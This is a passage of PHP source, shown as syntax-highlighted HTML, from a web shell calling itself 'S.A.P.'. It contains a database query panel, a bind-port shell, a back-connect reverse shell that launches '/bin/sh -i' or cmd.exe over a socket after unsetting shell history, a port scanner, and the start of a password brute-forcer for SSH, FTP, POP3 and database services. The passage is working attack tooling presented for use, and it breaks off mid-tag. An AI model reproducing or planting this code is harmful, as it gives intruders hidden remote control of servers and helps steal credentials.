class="string">'tn'</span>], <span class="variable">$p</span>, <span class="variable">$c</span>[<span class="string">'sl'</span>]);</span><br><span class="line"> } <span class="keyword">else</span> <span class="variable">$q</span> = <span class="string">''</span>; ?><div style=<span class="string">"float:right; width:755px; margin-right:3px;"</span>><fieldset><form action=<span class="string">""</span> method=<span class="string">"post"</span>><span class="title class_">Query</span> : <input type=<span class="string">"text"</span> name=<span class="string">"sq"</span> value=<span class="string">"<?php</span></span><br><span class="line"><span class="string"> echo escHTML($q); ?>"</span> style=<span class="string">"width:650px"</span>/> <input type=<span class="string">"submit"</span> name=<span class="string">"se"</span> value=<span class="string">"&gt;"</span>/></form></fieldset><?php</span><br><span class="line"> <span class="keyword">if</span> (!empty(<span class="variable">$q</span>)) {</span><br><span class="line"> <span class="keyword">if</span> (<span class="variable">$s</span>->q(<span class="variable">$q</span>)) {</span><br><span class="line"> echo <span class="string">'<div style="overflow-x:auto; margin:3px;"><table class="listr" ><tr>'</span>;</span><br><span class="line"> <span class="variable">$i</span> = <span class="number">0</span>;</span><br><span class="line"> while (<span class="variable">$v</span> = <span class="variable">$s</span>-><span class="keyword">fn</span>(<span class="variable">$i</span>++)) echo <span class="string">'<th>'</span>, escHTML(<span class="variable">$v</span>) , <span class="string">'</th>'</span>;</span><br><span class="line"> echo <span class="string">'</tr>'</span>;</span><br><span class="line"> while (<span class="variable">$v</span> = <span class="variable">$s</span>->fr()) {</span><br><span class="line"> echo <span class="string">'<tr>'</span>;</span><br><span class="line"> foreach (<span class="variable">$v</span> as <span class="variable">$t</span>) echo <span class="string">'<td><p>'</span>, escHTML(<span class="variable">$t</span>) , <span class="string">'</p></td>'</span>;</span><br><span class="line"> echo <span class="string">'</tr>'</span>;</span><br><span class="line"> }</span><br><span class="line"> echo <span class="string">'</table></div>'</span>;</span><br><span class="line"> <span class="keyword">if</span> (!empty(<span class="variable">$c</span>[<span class="string">'tn'</span>])) {</span><br><span class="line"> <span class="variable">$l</span> = ceil(<span class="variable">$ts</span>[<span class="variable">$c</span>[<span class="string">'tn'</span>]] / <span class="variable">$c</span>[<span class="string">'sl'</span>]);</span><br><span class="line"> <span class="keyword">if</span> (<span class="variable">$l</span> > <span class="number">1</span>) { ?><fieldset class=<span class="string">"pag"</span>><table width=<span class="string">"100%"</span>><tr><td><span class="title class_">Page</span> : <form action=<span class="string">""</span> method=<span class="string">"post"</span>><input type=<span class="string">"hidden"</span> name=<span class="string">"se"</span>/><input type=<span class="string">"submit"</span> name=<span class="string">"sp"</span> value=<span class="string">"1"</span>/><?php</span><br><span class="line"> <span class="keyword">if</span> (<span class="variable">$p</span> > <span class="number">2</span>) echo <span class="string">' <button type="submit" name="sp" value="'</span>, <span class="variable">$p</span> - <span class="number">1</span>, <span class="string">'">&lt;</button>'</span>; ?></form><form action=<span class="string">""</span> method=<span class="string">"post"</span>><input type=<span class="string">"hidden"</span> name=<span class="string">"se"</span>/> <input type=<span class="string">"text"</span> name=<span class="string">"sp"</span> value=<span class="string">"<?php</span></span><br><span class="line"><span class="string"> echo $p; ?>"</span> style=<span class="string">"width:60px"</span>/></form><form action=<span class="string">""</span> method=<span class="string">"post"</span>><input type=<span class="string">"hidden"</span> name=<span class="string">"se"</span>/><?php</span><br><span class="line"> <span class="keyword">if</span> (<span class="variable">$p</span> < <span class="variable">$l</span> - <span class="number">1</span>) echo <span class="string">' <button type="submit" name="sp" value="'</span>, <span class="variable">$p</span> + <span class="number">1</span>, <span class="string">'">&gt;</button>'</span>; ?> <input type=<span class="string">"submit"</span> name=<span class="string">"sp"</span> value=<span class="string">"<?php</span></span><br><span class="line"><span class="string"> echo $l; ?>"</span>/></form></td><td align=<span class="string">"right"</span>><form action=<span class="string">""</span> method=<span class="string">"post"</span>><span class="title class_">Rows</span> per <span class="symbol">page:</span> <select name=<span class="string">"so"</span>><?php</span><br><span class="line"> <span class="variable">$t</span> = array(</span><br><span class="line"> <span class="number">10</span>,</span><br><span class="line"> <span class="number">25</span>,</span><br><span class="line"> <span class="number">50</span>,</span><br><span class="line"> <span class="number">100</span>,</span><br><span class="line"> <span class="number">250</span>,</span><br><span class="line"> <span class="number">500</span>,</span><br><span class="line"> <span class="number">1000</span></span><br><span class="line"> );</span><br><span class="line"> foreach (<span class="variable">$t</span> as <span class="variable">$v</span>) {</span><br><span class="line"> echo <span class="string">'<option value="'</span>, <span class="variable">$v</span>, <span class="string">'"'</span>;</span><br><span class="line"> <span class="keyword">if</span> (<span class="variable">$c</span>[<span class="string">'sl'</span>] == <span class="variable">$v</span>) echo <span class="string">' selected="selected"'</span>;</span><br><span class="line"> echo <span class="string">'>'</span>, <span class="variable">$v</span>, <span class="string">'</option>'</span>;</span><br><span class="line"> } ?></select> <input type=<span class="string">"submit"</span> name=<span class="string">"se"</span> value=<span class="string">"&gt;"</span>/></form></td></tr></table></fieldset><?php</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> } <span class="keyword">else</span> sm(<span class="variable">$s</span>->e() , <span class="string">'e'</span>);</span><br><span class="line"> } ?></div><br style=<span class="string">"clear:both;"</span>/><?php</span><br><span class="line"> <span class="variable">$s</span>->cl();</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="keyword">if</span> (isset(<span class="variable">$_SESSION</span>[<span class="string">'DB'</span>])) unset(<span class="variable">$_SESSION</span>[<span class="string">'DB'</span>]);</span><br><span class="line"> sm(<span class="string">"Can't connect. "</span> . <span class="variable">$s</span>->e() , <span class="string">'e'</span>);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">} elseif (isset(<span class="variable">$_POST</span>[<span class="string">'nt'</span>])) {</span><br><span class="line"> <span class="variable">$pf</span> = empty(<span class="variable">$_POST</span>[<span class="string">'pf'</span>]) ? <span class="number">0</span> : <span class="variable">$_POST</span>[<span class="string">'pf'</span>];</span><br><span class="line"> <span class="variable">$pl</span> = empty(<span class="variable">$_POST</span>[<span class="string">'pl'</span>]) ? <span class="number">65535</span> : <span class="variable">$_POST</span>[<span class="string">'pl'</span>];</span><br><span class="line"> <span class="variable">$sc</span> = empty(<span class="variable">$_POST</span>[<span class="string">'sc'</span>]) ? <span class="number">50</span> : <span class="variable">$_POST</span>[<span class="string">'sc'</span>]; ?> <div class=<span class="string">"ntwrk"</span>> <fieldset><legend><span class="title class_">Bind</span> port</legend><form action=<span class="string">""</span> method=<span class="string">"post"</span>><div><span class="title class_">Port</span> : <input type=<span class="string">"text"</span> name=<span class="string">"pb"</span> value=<span class="string">"<?php</span></span><br><span class="line"><span class="string"> echo empty($_POST['pb']) ? '8888' : $_POST['pb']; ?>"</span> style=<span class="string">"width:42px"</span>/> <button type=<span class="string">"submit"</span> name=<span class="string">"nt"</span> value=<span class="string">"bp"</span>/>&gt;</button></div></form></fieldset> <fieldset><legend><span class="title class_">Back</span>-connect</legend><div><form action=<span class="string">""</span> method=<span class="string">"post"</span>><span class="title class_">To</span> : <input type=<span class="string">"text"</span> name=<span class="string">"hbc"</span> value=<span class="string">"<?php</span></span><br><span class="line"><span class="string"> echo empty($_POST['hbc']) ? $_SERVER['REMOTE_ADDR'] : $_POST['hbc']; ?>"</span> style=<span class="string">"width:102px"</span>/> : <input type=<span class="string">"text"</span> name=<span class="string">"pbc"</span> value=<span class="string">"<?php</span></span><br><span class="line"><span class="string"> echo empty($_POST['pbc']) ? '8888' : $_POST['pbc']; ?>"</span> style=<span class="string">"width:41px"</span>/> <button type=<span class="string">"submit"</span> name=<span class="string">"nt"</span> value=<span class="string">"bc"</span>>&gt;</button></form></div></fieldset> <?php</span><br><span class="line"> <span class="keyword">if</span> (<span class="variable">@function_exists</span>(<span class="string">'socket_create'</span>)) { ?> <fieldset><legend><span class="title class_">Port</span> scanner</legend><form action=<span class="string">""</span> method=<span class="string">"post"</span>><table width=<span class="string">"100%"</span> class=<span class="string">"form"</span>><tr><td width=<span class="string">"55px"</span>><span class="title class_">Host</span> <span class="symbol">:</td><td</span> colspan=<span class="string">"2"</span>><input type=<span class="string">"text"</span> name=<span class="string">"hs"</span> value=<span class="string">"<?php</span></span><br><span class="line"><span class="string"> echo empty($_POST['hs']) ? 'localhost' : $_POST['hs']; ?>"</span> style=<span class="string">"width:100%"</span>/></td></tr><tr><td><span class="title class_">Ports</span> <span class="symbol">:</td><td</span> colspan=<span class="string">"2"</span>><input type=<span class="string">"text"</span> name=<span class="string">"pf"</span> size=<span class="string">"5"</span> value=<span class="string">"<?php</span></span><br><span class="line"><span class="string"> echo $pf; ?>"</span>/> - <input type=<span class="string">"text"</span> name=<span class="string">"pl"</span> size=<span class="string">"5"</span> value=<span class="string">"<?php</span></span><br><span class="line"><span class="string"> echo $pl; ?>"</span>/></td></tr><tr><td><span class="title class_">Streams</span>&nbsp;<span class="symbol">:</td><td><input</span> type=<span class="string">"text"</span> name=<span class="string">"sc"</span> size=<span class="string">"4"</span> value=<span class="string">"<?php</span></span><br><span class="line"><span class="string"> echo $sc; ?>"</span>/></td><td align=<span class="string">"right"</span>><button type=<span class="string">"submit"</span> name=<span class="string">"nt"</span> value=<span class="string">"ps"</span>>&gt;</button></td></tr></table></form></fieldset> <?php</span><br><span class="line"> } ?> </div> <div style=<span class="string">"float:left; width:740px"</span>><center><?php</span><br><span class="line"> <span class="variable">$l0</span> = <span class="string">'#!/usr/bin/perl'</span> . <span class="string">"\n"</span> . <span class="string">'$SIG{\'CHLD\'}=\'IGNORE\'; use IO::Socket; use FileHandle;$o=" [OK]";$e=" Error: ";$l="\r\n-----------------------------------------\r\n";$h="---- '</span>;</span><br><span class="line"> <span class="variable">$l1</span> = <span class="string">' ----"; print $h; print "\r\n> Start..."; print "\r\n> Get protocol by name...";$tcp=getprotobyname("tcp") or die print "$l$e$!$l"; print " $o"; '</span>;</span><br><span class="line"> <span class="variable">$l2</span> = <span class="string">' print "\r\n> Packed address info...";$sckt=sockaddr_in('</span>;</span><br><span class="line"> <span class="variable">$l3</span> = <span class="string">') or die print "$l$e$!$l"; print " $o"; print "\r\n> Create socket..."; socket(SOCKET, PF_INET, SOCK_STREAM,$tcp) or die print "$l$e$!$l"; print " $o"; '</span>;</span><br><span class="line"> <span class="variable">$l4</span> = (<span class="title class_">IW</span> ? <span class="string">''</span> : <span class="string">'system("unset HISTFILE; unset SAVEHIST;");'</span>) . <span class="string">' print "\r\n$h\r\n\r\n"; system('</span> . (<span class="title class_">IW</span> ? <span class="string">"'cmd.exe'"</span> : <span class="string">"'/bin/sh -i'"</span>) . <span class="string">');print "$l\r\n"; '</span>;</span><br><span class="line"> <span class="keyword">if</span> (<span class="variable">$_POST</span>[<span class="string">'nt'</span>] == <span class="string">'bp'</span>) {</span><br><span class="line"> <span class="variable">@session_write_close</span>();</span><br><span class="line"> <span class="variable">$tfn</span> = ctf(<span class="variable">$l0</span> . <span class="string">' Hello from S.A.P. Bind Port '</span> . <span class="variable">$l1</span> . <span class="variable">$l2</span> . <span class="variable">$_POST</span>[<span class="string">'pb'</span>] . <span class="string">', INADDR_ANY'</span> . <span class="variable">$l3</span> . <span class="string">'print "\r\n> Set socket options..."; setsockopt(SOCKET, SOL_SOCKET, SO_REUSEADDR, 1) or die print "$l$e$!$l"; print " $o"; print "\r\n> Bind socket..."; bind(SOCKET,$sckt) or die print "$l$e$!$l"; print " $o"; print "\r\n> Listen socket..."; listen(SOCKET, 5) or die print "$l$e$!$l"; print " $o"; print "\r\n> Accept connection..."; accept(CONN,SOCKET) or die print "$l$e$!$l"; print "$l OK! I\'m accept connection.$l";if(!($pid=fork)){if(!defined $pid){exit(0);}open(STDIN, "<&CONN");open(STDOUT, ">&CONN");open(STDERR, ">&CONN");'</span> . <span class="variable">$l4</span> . <span class="string">'close CONN;}'</span>);</span><br><span class="line"> echo <span class="string">'<pre>'</span>;</span><br><span class="line"> se(<span class="string">'perl '</span> . <span class="variable">$tfn</span> . <span class="string">' 2>&1 &'</span>);</span><br><span class="line"> <span class="variable">@unlink</span>(<span class="variable">$tfn</span>);</span><br><span class="line"> echo <span class="string">'</pre>'</span>;</span><br><span class="line"> } elseif (<span class="variable">$_POST</span>[<span class="string">'nt'</span>] == <span class="string">'bc'</span>) {</span><br><span class="line"> <span class="variable">@session_write_close</span>();</span><br><span class="line"> <span class="variable">$tfn</span> = ctf(<span class="variable">$l0</span> . <span class="string">'Hello from S.A.P. BackConnect'</span> . <span class="variable">$l1</span> . <span class="string">'print "\r\n> Convert host address...";$inet=inet_aton("'</span> . <span class="variable">$_POST</span>[<span class="string">'hbc'</span>] . <span class="string">'") or die print "$l$e$!$l"; print " $o";'</span> . <span class="variable">$l2</span> . <span class="variable">$_POST</span>[<span class="string">'pbc'</span>] . <span class="string">',$inet'</span> . <span class="variable">$l3</span> . <span class="string">'print "\r\n> Connect to '</span> . <span class="variable">$_POST</span>[<span class="string">'hbc'</span>] . <span class="string">':'</span> . <span class="variable">$_POST</span>[<span class="string">'pbc'</span>] . <span class="string">'..."; connect(SOCKET,$sckt) or die print "$l$e$!$l"; print "$l OK! I\'m successful connected.$l"; open(STDIN, "<&SOCKET");open(STDOUT, ">&SOCKET");open(STDERR, ">&SOCKET");'</span> . <span class="variable">$l4</span>);</span><br><span class="line"> echo <span class="string">'<pre>'</span>;</span><br><span class="line"> se(<span class="string">'perl '</span> . <span class="variable">$tfn</span> . <span class="string">' 2>&1 &'</span>);</span><br><span class="line"> <span class="variable">@unlink</span>(<span class="variable">$tfn</span>);</span><br><span class="line"> echo <span class="string">'</pre>'</span>;</span><br><span class="line"> } elseif (<span class="variable">$_POST</span>[<span class="string">'nt'</span>] == <span class="string">'ps'</span>) {</span><br><span class="line"> <span class="variable">@session_write_close</span>();</span><br><span class="line"> <span class="variable">$hi</span> = gethostbyname(<span class="variable">$_POST</span>[<span class="string">'hs'</span>]);</span><br><span class="line"> echo <span class="string">'<table border="1" class="list"><tr><th>Port</th><th>Service</th><th>Answer</th></tr>'</span>;</span><br><span class="line"> <span class="keyword">for</span> (<span class="variable">$pf</span> = <span class="variable">$pf</span>; <span class="variable">$pf</span> <= <span class="variable">$pl</span>; <span class="variable">$pf</span>+= <span class="variable">$sc</span> + <span class="number">1</span>) {</span><br><span class="line"> <span class="variable">$ss</span> = <span class="variable">$sr</span> = <span class="variable">$sw</span> = array();</span><br><span class="line"> <span class="variable">$scn</span> = (<span class="variable">$pf</span> + <span class="variable">$sc</span> > <span class="variable">$pl</span>) ? <span class="variable">$pl</span> - <span class="variable">$pf</span> : <span class="variable">$sc</span>;</span><br><span class="line"> <span class="keyword">for</span> (<span class="variable">$p</span> = <span class="variable">$pf</span>; <span class="variable">$p</span> <= (<span class="variable">$pf</span> + <span class="variable">$scn</span>); <span class="variable">$p</span>++) {</span><br><span class="line"> <span class="variable">$sh</span> = <span class="variable">@socket_create</span>(<span class="title class_">AF_INET</span>, <span class="title class_">SOCK_STREAM</span>, <span class="title class_">SOL_TCP</span>);</span><br><span class="line"> <span class="variable">@socket_set_option</span>(<span class="variable">$sh</span>, <span class="title class_">SOL_SOCKET</span>, <span class="title class_">SO_SNDTIMEO</span>, array(</span><br><span class="line"> <span class="string">'sec'</span> => <span class="number">2</span>,</span><br><span class="line"> <span class="string">'usec'</span> => <span class="number">0</span></span><br><span class="line"> ));</span><br><span class="line"> <span class="variable">@socket_set_option</span>(<span class="variable">$sh</span>, <span class="title class_">SOL_SOCKET</span>, <span class="title class_">SO_RCVTIMEO</span>, array(</span><br><span class="line"> <span class="string">'sec'</span> => <span class="number">2</span>,</span><br><span class="line"> <span class="string">'usec'</span> => <span class="number">0</span></span><br><span class="line"> ));</span><br><span class="line"> <span class="variable">@socket_set_nonblock</span>(<span class="variable">$sh</span>);</span><br><span class="line"> <span class="variable">@socket_connect</span>(<span class="variable">$sh</span>, <span class="variable">$hi</span>, <span class="variable">$p</span>);</span><br><span class="line"> <span class="variable">@socket_set_block</span>(<span class="variable">$sh</span>);</span><br><span class="line"> usleep(<span class="number">10000</span>);</span><br><span class="line"> <span class="variable">$sr</span>[] = <span class="variable">$sw</span>[] = <span class="variable">$se</span>[] = <span class="variable">$sh</span>;</span><br><span class="line"> <span class="variable">$ss</span>[<span class="variable">$sh</span>] = <span class="variable">$p</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">if</span> (<span class="variable">@socket_select</span>(<span class="variable">$sr</span>, <span class="variable">$sw</span>, <span class="variable">$se</span>, <span class="number">2</span>)) {</span><br><span class="line"> foreach (<span class="variable">$sw</span> as <span class="variable">$sn</span> => <span class="variable">$sh</span>) <span class="keyword">if</span> (!empty(<span class="variable">$ss</span>[<span class="variable">$sh</span>])) {</span><br><span class="line"> <span class="variable">@socket_write</span>(<span class="variable">$sh</span>, <span class="string">"HELLO\r\n\r\n"</span>);</span><br><span class="line"> <span class="variable">$sr</span>[] = <span class="variable">$sh</span>;</span><br><span class="line"> }</span><br><span class="line"> foreach (<span class="variable">$sr</span> as <span class="variable">$sn</span> => <span class="variable">$sh</span>) <span class="keyword">if</span> (!empty(<span class="variable">$ss</span>[<span class="variable">$sh</span>])) {</span><br><span class="line"> <span class="variable">$a</span> = <span class="variable">@socket_read</span>(<span class="variable">$sh</span>, <span class="number">255</span>);</span><br><span class="line"> <span class="variable">@socket_shutdown</span>(<span class="variable">$sh</span>, <span class="number">2</span>);</span><br><span class="line"> <span class="variable">@socket_close</span>(<span class="variable">$sh</span>);</span><br><span class="line"> echo <span class="string">'<tr><td align="right">'</span>, <span class="variable">$ss</span>[<span class="variable">$sh</span>], <span class="string">'</td><td>'</span>, ((<span class="variable">$s</span> = <span class="variable">@getservbyport</span>(<span class="variable">$ss</span>[<span class="variable">$sh</span>], <span class="string">'tcp'</span>)) == <span class="string">''</span> ? <span class="string">'unknown'</span> : <span class="variable">$s</span>) , <span class="string">'</td><td>'</span>, nl2br(escHTML(<span class="variable">$a</span>)) , <span class="string">'</td></tr>'</span>;</span><br><span class="line"> <span class="variable">@flush</span>();</span><br><span class="line"> unset(<span class="variable">$sr</span>[<span class="variable">$sn</span>], <span class="variable">$ss</span>[<span class="variable">$sh</span>], <span class="variable">$sw</span>[<span class="variable">$sh</span>]);</span><br><span class="line"> }</span><br><span class="line"> foreach (<span class="variable">$se</span> as <span class="variable">$sn</span> => <span class="variable">$sh</span>) <span class="keyword">if</span> (!empty(<span class="variable">$ss</span>[<span class="variable">$sh</span>])) {</span><br><span class="line"> <span class="variable">@socket_shutdown</span>(<span class="variable">$sh</span>, <span class="number">2</span>);</span><br><span class="line"> <span class="variable">@socket_close</span>(<span class="variable">$sh</span>);</span><br><span class="line"> unset(<span class="variable">$se</span>[<span class="variable">$sn</span>], <span class="variable">$ss</span>[<span class="variable">$sh</span>]);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> echo <span class="string">'</table>'</span>;</span><br><span class="line"> } <span class="keyword">else</span> { ?><pre></pre><?php</span><br><span class="line"> } ?></center></div><br style=<span class="string">"clear:both;"</span>/><?php</span><br><span class="line">} elseif (isset(<span class="variable">$_POST</span>[<span class="string">'br'</span>])) {</span><br><span class="line"> <span class="variable">@session_write_close</span>();</span><br><span class="line"> <span class="variable">$h</span> = array(</span><br><span class="line"> <span class="string">'ha'</span> => <span class="string">'localhost'</span>,</span><br><span class="line"> <span class="string">'hp'</span> => <span class="number">22</span>,</span><br><span class="line"> <span class="string">'ps'</span> => array(</span><br><span class="line"> <span class="string">'ssh'</span>,</span><br><span class="line"> <span class="string">'SSH'</span></span><br><span class="line"> )</span><br><span class="line"> );</span><br><span class="line"> <span class="variable">$f</span> = array(</span><br><span class="line"> <span class="string">'ha'</span> => <span class="string">'localhost'</span>,</span><br><span class="line"> <span class="string">'hp'</span> => <span class="number">21</span>,</span><br><span class="line"> <span class="string">'ps'</span> => array(</span><br><span class="line"> <span class="string">'ftp'</span>,</span><br><span class="line"> <span class="string">'FTP'</span></span><br><span class="line"> )</span><br><span class="line"> );</span><br><span class="line"> <span class="variable">$m</span> = array(</span><br><span class="line"> <span class="string">'ha'</span> => <span class="string">'localhost'</span>,</span><br><span class="line"> <span class="string">'hp'</span> => <span class="number">110</span>,</span><br><span class="line"> <span class="string">'ps'</span> => array(</span><br><span class="line"> <span class="string">'mail'</span>,</span><br><span class="line"> <span class="string">'MAIL'</span></span><br><span class="line"> )</span><br><span class="line"> );</span><br><span class="line"> <span class="variable">$y</span> = array(</span><br><span class="line"> <span class="string">'ha'</span> => <span class="string">'localhost'</span>,</span><br><span class="line"> <span class="string">'hp'</span> => <span class="number">3306</span>,</span><br><span class="line"> <span class="string">'ps'</span> => array(</span><br><span class="line"> <span class="string">'mysql'</span>,</span><br><span class="line"> <span class="string">'MYSQL'</span>,</span><br><span class="line"> <span class="string">'MySQL'</span>,</span><br><span class="line"> <span class="string">'mySQL'</span>,</span><br><span class="line"> <span class="string">'MYsql'</span>,</span><br><span class="line"> <span class="string">'sql'</span>,</span><br><span class="line"> <span class="string">'SQL'</span>,</span><br><span class="line"> <span class="string">'db'</span>,</span><br><span class="line"> <span class="string">'DB'</span>,</span><br><span class="line"> <span class="string">'database'</span>,</span><br><span class="line"> <span class="string">'DATABASE'</span></span><br><span class="line"> )</span><br><span class="line"> );</span><br><span class="line"> <span class="variable">$s</span> = array(</span><br><span class="line"> <span class="string">'ha'</span> => <span class="string">'localhost'</span>,</span><br><span class="line"> <span class="string">'hp'</span> => <span class="number">1433</span>,</span><br><span class="line"> <span class="string">'ps'</span> => array(</span><br><span class="line"> <span class="string">'mssql'</span>,</span><br><span class="line"> <span class="string">'MSSQL'</span>,</span><br><span class="line"> <span class="string">'MsSQL'</span>,</span><br><span class="line"> <span class="string">'msSQL'</span>,</span><br><span class="line"> <span class="string">'MSsql'</span>,</span><br><span class="line"> <span class="string">'sql'</span>,</span><br><span class="line"> <span class="string">'SQL'</span>,</span><br><span class="line"> <span class="string">'db'</span>,</span><br><span class="line"> <span class="string">'DB'</span>,</span><br><span class="line"> <span class="string">'database'</span>,</span><br><span class="line"> <span class="string">'DATABASE'</span></span><br><span class="line"> )</span><br><span class="line"> );</span><br><span class="line"> <span class="variable">$p</span> = array(</span><br><span class="line"> <span class="string">'ha'</span> => <span class="string">'localhost'</span>,</span><br><span class="line"> <span class="string">'hp'</span> => <span class="number">5432</span>,</span><br><span class="line"> <span class="string">'ps'</span> => array(</span><br><span class="line"> <span class="string">'pg'</span>,</span><br><span class="line"> <span class="string">'PG'</span>,</span><br><span class="line"> <span class="string">'pgs'</span>,</span><br><span class="line"> <span class="string">'PGS'</span>,</span><br><span class="line"> <span class="string">'pgsql'</span>,</span><br><span class="line"> <span class="string">'PgSQL'</span>,</span><br><span class="line"> <span class="string">'PGSQL'</span>,</span><br><span class="line"> <span class="string">'pgSQL'</span>,</span><br><span class="line"> <span class="string">'PGsql'</span>,</span><br><span class="line"> <span class="string">'postgre'</span>,</span><br><span class="line"> <span class="string">'POSTGRE'</span>,</span><br><span class="line"> <span class="string">'postgres'</span>,</span><br><span class="line"> <span class="string">'POSTGRES'</span>,</span><br><span class="line"> <span class="string">'postgresql'</span>,</span><br><span class="line"> <span class="string">'POSTGRESQL'</span>,</span><br><span class="line"> <span class="string">'PostgreSQL'</span>,</span><br><span class="line"> <span class="string">'postgreSQL'</span>,</span><br><span class="line"> <span class="string">'POSTGREsql'</span>,</span><br><span class="line"> <span class="string">'sql'</span>,</span><br><span class="line"> <span class="string">'SQL'</span>,</span><br><span class="line"> <span class="string">'db'</span>,</span><br><span class="line"> <span class="string">'DB'</span>,</span><br><span class="line"> <span class="string">'database'</span>,</span><br><span class="line"> <span class="string">'DATABASE'</span></span><br><span class="line"> )</span><br><span class="line"> );</span><br><span class="line"> <span class="keyword">if</span> (isset(<span class="variable">$_POST</span>[<span class="string">'brp'</span>])) foreach (<span class="variable">$_POST</span>[<span class="string">'brp'</span>] as <span class="variable">$v</span>) {</span><br><span class="line"> <span class="variable">$ </span>{</span><br><span class="line"> <span class="string">'c'</span> . <span class="variable">$v</span></span><br><span class="line"> } = <span class="title class_">TRUE</span>;</span><br><span class="line"> <span class="keyword">if</span> (!empty(<span class="variable">$_POST</span>[<span class="string">'h'</span>][<span class="variable">$v</span>])) <span class="variable">$ </span>{</span><br><span class="line"> <span class="variable">$v</span></span><br><span class="line"> }</span><br><span class="line"> [<span class="string">'ha'</span>] = <span class="variable">$_POST</span>[<span class="string">'h'</span>][<span class="variable">$v</span>];</span><br><span class="line"> <span class="keyword">if</span> (!empty(<span class="variable">$_POST</span>[<span class="string">'p'</span>][<span class="variable">$v</span>])) <span class="variable">$ </span>{</span><br><span class="line"> <span class="variable">$v</span></span><br><span class="line"> }</span><br><span class="line"> [<span class="string">'hp'</span>] = <span class="variable">$_POST</span>[<span class="string">'p'</span>][<span class="variable">$v</span>];</span><br><span class="line"> } ?> <div style=<span class="string">"float:left; width:335px;"</span>><form action=<span class="string">""</span> method=<span class="string">"post"</span>><input type=<span class="string">"hidden"</span> name=<span class="string">"br"</span>/> <fieldset><legend><span class="title class_">Protocols</span> <span class="symbol">:</legend><table</span> class=<span class="string">"form"</span>> <?php</span><br><span class="line"> <span class="keyword">if</span> (<span class="variable">@function_exists</span>(<span class="string">'ssh2_connect'</span>)) { ?><tr><td><label><input type=<span class="string">"checkbox"</span> name=<span class="string">"brp[]"</span> value=<span class="string">"h"</span><?php</span><br><span class="line"> <span class="keyword">if</span> (isset(<span class="variable">$ch</span>)) echo <span class="string">' checked="checked"'</span>; ?>/> <span class="title class_">SSH</span> <span class="symbol">:</label></td><td><input</span> type=<span class="string">"text"</span> name=<span class="string">"h[s]"</span> value=<span class="string">"<?php</span></span><br><span class="line"><span class="string"> echo escHTML($h['ha']); ?>"</span>/> : <input type=<span class="string">"text"</span> name=<span class="string">"p[h]"</span> value=<span class="string">"<?php</span></span><br><span class="line"><span class="string"> echo intval($h['hp']); ?>"</span> style=<span class="string">"width:42px"</span>/></td></tr><?php</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">if</span> (<span class="variable">@function_exists</span>(<span class="string">'ftp_connect'</span>)) { ?><tr><td><label><input type=<span class="string">"checkbox"</span> name=<span class="string">"brp[]"</span> value=<span class="string">"f"</span><?php</span><br><span class="line"> <span class="keyword">if</span> (isset(<span class="variable">$cf</span>)) echo <span class="string">' checked="checked"'</span>; ?>/> <span class="title class_">FTP</span> <span class="symbol">:</label></td><td><input</span> type=<span class="string">"text"</span> name=<span class="string">"h[f]"</span> value=<span class="string">"<?php</span></span><br><span class="line"><span class="string"> echo escHTML($f['ha']); ?>"</span>/> : <input type=<span class="string">"text"</span> name=<span class="string">"p[f]"</span> value=<span class="string">"<?php</span></span><br><span class="line"><span class="string"> echo intval($f['hp']); ?>"</span> style=<span class="string">"width:42px"</span>/></td></tr><?php</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">if</span> (<span class="variable">@function_exists</span>(<span class="string">'fsockopen'</span>)) { ?><tr><td><label><input type=<span class="string">"checkbox"</span> name=<span class="string">"brp[]"</span> value=<span class="string">"m"</span><?php</span><br><span class="line"> <span class="keyword">if</span> (isset(<span class="variable">$cm</span>)) echo <span class="string">' checked="checked"'</span>; ?>/> <span class="title class_">POP3</span> <span class="symbol">:</label></td><td><input</span> type=<span class="string">"text"</span> name=<span class="string">"h[m]"</span> value=<span class="string">"<?php</span></span><br><span class="line"><span class="string"> echo escHTML($m['ha']); ?>"</span>/> : <input type=<span class="string">"text"</span> name=<span class="string">"p[m]"</span> value=<span class="string">"<?php</span></span><br><span class="line"><span class="string"> echo intval($m['hp']); ?>"</span> style=<span class="string">"width:42px"</span>/></td></tr><?php</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">if</span> (<span class="variable">@function_exists</span>(<span class="string">'mysql_connect'</span>)) { ?><tr><td><label><input type=<span class="string">"checkbox"</span> name=<span class="string">"brp[]"</span> value=<span class="string">"y"</span><?php</span><br><span class="line"> <span class="keyword">if</span> (isset(<span class="variable">$cy</span>)) echo <span class="string">' checked="checked"'</span>; ?>/> <span class="title class_">MySQL</span> <span class="symbol">:</label></td><td><input</span> type=<span class="string">"text"</span> name=<span class="string">"h[y]"</span> value=<span class="string">"<?php</span></span><br><span class="line"><span class="string"> echo escHTML($y['ha']); ?>"</span>/> : <input type=<span class="string">"text"</span> name=<span class="string">"p[y]"</span> value=<span class="string">"<?php</span></span><br><span class="line"><span class="string"> echo intval($y['hp']); ?>"</span> style=<span class="string">"width:42px"</span>/></td></tr><?php</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">if</span> (<span class="variable">@function_exists</span>(<span class="string">'mssql_connect'</span>)) { ?><tr><td><label><input type=<span class="string">"checkbox"</span> name=<span class="string">"brp[]"</span> value=<span class="string">"s"</span><?php</span><br><span class="line"> <span class="keyword">if</span> (isset(<span class="variable">$cs</span>)) echo <span class="string">' checked="checked"'</span>; ?>/> <span class="title class_">MSSQL</span> <span class="symbol">:</label></td><td><input</span> type=<span class="string">"text"</span> name=<span class="string">"h[s]"</span> value=<span class="string">"<?php</span></span><br><span class="line"><span class="string"> echo escHTML($s['ha']); ?>"</span>/> : <input type=<span class="string">"text"</span> name=<span class="string">"p[s]"</span> value=<span class="string">"<?php</span></span><br><span class="line"><span class="string"> echo intval($s['hp']); ?>"</span> style=<span class="string">"width:42px"</span>/></td></tr><?php</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">if</span> (<span class="variable">@function_exists</span>(<span class="string">'pg_connect'</span>)) { ?><tr><td><label><input type=<span class="string">"checkbox"</span> name=<span class="string">"brp[]"</span> value=<span class="string">"p"</span><?php</span><br><span class="line"> <span class="keyword">if</span> (isset(<span class="variable">$cp</span>)) echo <span class="string">' checked="checked"'</span>; ?>/> <span class="title class_">PostgreSQL</span> <span 